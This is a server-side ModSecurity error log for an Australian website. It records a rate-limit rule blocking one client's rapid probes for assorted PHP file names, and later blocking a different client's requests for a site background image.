[Sat Apr 11 09:44:19.704087 2026] [:error] [pid 35537:tid 35568] [client 72.146.3.145:13134] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "admncx3G2uLZwbQNu200eAAAAYE"]
[Sat Apr 11 09:44:20.261437 2026] [:error] [pid 35537:tid 35589] [client 72.146.3.145:36216] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "admndB3G2uLZwbQNu200fwAAAZY"]
[Sat Apr 11 09:44:20.780867 2026] [:error] [pid 35536:tid 35564] [client 72.146.3.145:43157] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "admndAW1nMztWbgW3ZHD_AAAAVg"]
[Sat Apr 11 09:44:21.379121 2026] [:error] [pid 35537:tid 35587] [client 72.146.3.145:30020] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "admndR3G2uLZwbQNu200jAAAAZQ"]
[Sat Apr 11 09:44:21.943801 2026] [:error] [pid 35537:tid 35579] [client 72.146.3.145:36198] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "admndR3G2uLZwbQNu200kwAAAYw"]
[Sat Apr 11 09:44:22.634706 2026] [:error] [pid 35537:tid 35567] [client 72.146.3.145:24173] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "admndh3G2uLZwbQNu200nQAAAYA"]
[Sat Apr 11 09:44:23.104285 2026] [:error] [pid 35599:tid 35605] [client 72.146.3.145:36213] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "admnd-d0ai377FLwoeDmbAAAAIM"]
[Sat Apr 11 09:44:23.652438 2026] [:error] [pid 35633:tid 35654] [client 72.146.3.145:36215] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "admnd2UQo_ah7EEEnqe_rwAAANM"]
[Sat Apr 11 09:44:24.159492 2026] [:error] [pid 35633:tid 35645] [client 72.146.3.145:17277] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "admneGUQo_ah7EEEnqe_tgAAAMo"]
[Sat Apr 11 09:44:24.766373 2026] [:error] [pid 35633:tid 35639] [client 72.146.3.145:7559] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "admneGUQo_ah7EEEnqe_xAAAAMQ"]
[Sat Apr 11 09:44:25.265682 2026] [:error] [pid 35633:tid 35647] [client 72.146.3.145:17150] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "admneWUQo_ah7EEEnqe_0AAAAMw"]
[Sat Apr 11 09:44:26.139402 2026] [:error] [pid 35633:tid 35649] [client 72.146.3.145:43149] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "admnemUQo_ah7EEEnqe_5AAAAM4"]
[Sat Apr 11 09:44:26.878620 2026] [:error] [pid 35633:tid 35659] [client 72.146.3.145:17256] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "admnemUQo_ah7EEEnqe_6wAAANg"]
[Sat Apr 11 09:44:27.724103 2026] [:error] [pid 35537:tid 35590] [client 72.146.3.145:4250] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "admnex3G2uLZwbQNu200vwAAAZc"]
[Sat Apr 11 09:44:28.558541 2026] [:error] [pid 35599:tid 35612] [client 72.146.3.145:28678] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "admnfOd0ai377FLwoeDmjAAAAIo"]
[Sat Apr 11 09:44:29.090271 2026] [:error] [pid 35536:tid 35541] [client 72.146.3.145:17143] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "admnfQW1nMztWbgW3ZHEGAAAAUE"]
[Sat Apr 11 09:44:29.836815 2026] [:error] [pid 35537:tid 35583] [client 72.146.3.145:20917] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "admnfR3G2uLZwbQNu200ygAAAZA"]
[Sat Apr 11 09:44:30.461244 2026] [:error] [pid 35536:tid 35561] [client 72.146.3.145:36555] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "admnfgW1nMztWbgW3ZHEHgAAAVU"]
[Sat Apr 11 09:44:31.108659 2026] [:error] [pid 35537:tid 35587] [client 72.146.3.145:39868] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "admnfx3G2uLZwbQNu200zwAAAZQ"]
[Sat Apr 11 09:44:31.608426 2026] [:error] [pid 35599:tid 35617] [client 72.146.3.145:31061] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "admnf-d0ai377FLwoeDmngAAAI8"]
[Sat Apr 11 09:44:32.305631 2026] [:error] [pid 35599:tid 35605] [client 72.146.3.145:36739] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "admngOd0ai377FLwoeDmogAAAIM"]
[Sat Apr 11 09:44:32.874222 2026] [:error] [pid 35633:tid 35652] [client 72.146.3.145:39857] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "admngGUQo_ah7EEEnqfADwAAANE"]
[Sat Apr 11 09:44:33.342026 2026] [:error] [pid 35633:tid 35645] [client 72.146.3.145:30034] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "admngWUQo_ah7EEEnqfAFgAAAMo"]
[Sat Apr 11 09:44:33.919574 2026] [:error] [pid 35536:tid 35564] [client 72.146.3.145:31055] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "admngQW1nMztWbgW3ZHELAAAAVg"]
[Sat Apr 11 09:44:34.571161 2026] [:error] [pid 35633:tid 35648] [client 72.146.3.145:4276] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "admngmUQo_ah7EEEnqfAKwAAAM0"]
[Sat Apr 11 09:44:35.138433 2026] [:error] [pid 35633:tid 35640] [client 72.146.3.145:56978] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "admng2UQo_ah7EEEnqfANQAAAMU"]
[Sat Apr 11 09:44:35.644650 2026] [:error] [pid 35536:tid 35549] [client 72.146.3.145:43247] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "admngwW1nMztWbgW3ZHENQAAAUk"]
[Sat Apr 11 09:44:36.115808 2026] [:error] [pid 35537:tid 35582] [client 72.146.3.145:24129] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "admnhB3G2uLZwbQNu2002gAAAY8"]
[Sat Apr 11 09:44:36.692450 2026] [:error] [pid 35536:tid 35551] [client 72.146.3.145:31070] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "admnhAW1nMztWbgW3ZHEOwAAAUs"]
[Sat Apr 11 09:44:37.272858 2026] [:error] [pid 35633:tid 35640] [client 72.146.3.145:24145] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "admnhWUQo_ah7EEEnqfATgAAAMU"]
[Sat Apr 11 09:44:37.815583 2026] [:error] [pid 35599:tid 35623] [client 72.146.3.145:42852] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "admnhed0ai377FLwoeDmugAAAJU"]
[Sat Apr 11 09:44:38.562281 2026] [:error] [pid 35633:tid 35655] [client 72.146.3.145:28686] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "admnhmUQo_ah7EEEnqfAYgAAANQ"]
[Sat Apr 11 09:44:39.301785 2026] [:error] [pid 35599:tid 35618] [client 72.146.3.145:4253] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "admnh-d0ai377FLwoeDmwwAAAJA"]
[Sat Apr 11 09:44:40.025698 2026] [:error] [pid 35633:tid 35653] [client 72.146.3.145:7582] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "admniGUQo_ah7EEEnqfAawAAANI"]
[Sat Apr 11 09:44:40.884656 2026] [:error] [pid 35633:tid 35640] [client 72.146.3.145:51706] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "admniGUQo_ah7EEEnqfAfwAAAMU"]
[Sat Apr 11 09:44:41.426751 2026] [:error] [pid 35633:tid 35639] [client 72.146.3.145:31086] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "admniWUQo_ah7EEEnqfAhgAAAMQ"]
[Sat Apr 11 09:44:41.995062 2026] [:error] [pid 35537:tid 35583] [client 72.146.3.145:30017] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "admniR3G2uLZwbQNu2007QAAAZA"]
[Sat Apr 11 09:44:42.501839 2026] [:error] [pid 35633:tid 35647] [client 72.146.3.145:51687] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "admnimUQo_ah7EEEnqfAlAAAAMw"]
[Sat Apr 11 09:44:43.143863 2026] [:error] [pid 35633:tid 35657] [client 72.146.3.145:43204] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "admni2UQo_ah7EEEnqfAnwAAANY"]
[Sat Apr 11 09:44:43.799443 2026] [:error] [pid 35537:tid 35573] [client 72.146.3.145:28726] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "admnix3G2uLZwbQNu2008wAAAYY"]
[Sat Apr 11 09:44:44.429496 2026] [:error] [pid 35599:tid 35607] [client 72.146.3.145:7605] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "admnjOd0ai377FLwoeDm5gAAAIU"]
[Sat Apr 11 09:44:44.940596 2026] [:error] [pid 35599:tid 35604] [client 72.146.3.145:37790] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "admnjOd0ai377FLwoeDm7AAAAII"]
[Sat Apr 11 09:44:45.459618 2026] [:error] [pid 35537:tid 35575] [client 72.146.3.145:51689] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "admnjR3G2uLZwbQNu200-wAAAYg"]
[Sat Apr 11 09:44:45.975732 2026] [:error] [pid 35599:tid 35623] [client 72.146.3.145:17097] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "admnjed0ai377FLwoeDm8AAAAJU"]
[Sat Apr 11 09:44:46.679814 2026] [:error] [pid 35633:tid 35656] [client 72.146.3.145:30526] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "admnjmUQo_ah7EEEnqfAwAAAANU"]
[Sat Apr 11 09:44:47.195891 2026] [:error] [pid 35536:tid 35549] [client 72.146.3.145:50042] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "admnjwW1nMztWbgW3ZHEcQAAAUk"]
[Sat Apr 11 09:44:47.756670 2026] [:error] [pid 35536:tid 35546] [client 72.146.3.145:48067] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "admnjwW1nMztWbgW3ZHEdQAAAUY"]
[Sat Apr 11 09:44:48.376055 2026] [:error] [pid 35536:tid 35559] [client 72.146.3.145:39808] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "admnkAW1nMztWbgW3ZHEewAAAVM"]
[Sat Apr 11 09:44:48.943074 2026] [:error] [pid 35536:tid 35551] [client 72.146.3.145:30078] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "admnkAW1nMztWbgW3ZHEfgAAAUs"]
[Sat Apr 11 09:44:49.655521 2026] [:error] [pid 35536:tid 35546] [client 72.146.3.145:17093] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "admnkQW1nMztWbgW3ZHEgwAAAUY"]
[Sat Apr 11 09:44:50.285722 2026] [:error] [pid 35537:tid 35584] [client 72.146.3.145:24179] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "admnkh3G2uLZwbQNu201GQAAAZE"]
[Sat Apr 11 09:44:50.973069 2026] [:error] [pid 35537:tid 35570] [client 72.146.3.145:24138] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "admnkh3G2uLZwbQNu201HwAAAYM"]
[Sat Apr 11 09:44:51.497450 2026] [:error] [pid 35537:tid 35573] [client 72.146.3.145:30042] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "admnkx3G2uLZwbQNu201IgAAAYY"]
[Sat Apr 11 10:16:37.841786 2026] [:error] [pid 51058:tid 51096] [client 103.4.123.23:52403] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/background.png"] [unique_id "admvBRYkkom86g_j3WWPVQAAAEY"], referer: https://measureyourbrand.com.au/assets/style.css
[Sat Apr 11 10:16:37.885881 2026] [:error] [pid 51059:tid 51131] [client 103.4.123.23:53340] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/background.png"] [unique_id "admvBRSiB2eX6rO8ZDuoWQAAAI4"], referer: https://measureyourbrand.com.au/assets/style.css
[Sat Apr 11 10:16:37.930777 2026] [:error] [pid 51727:tid 51751] [client 103.4.123.23:51980] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/background.png"] [unique_id "admvBXJxExDpl461hOG3EAAAANU"], referer: https://measureyourbrand.com.au/assets/style.css
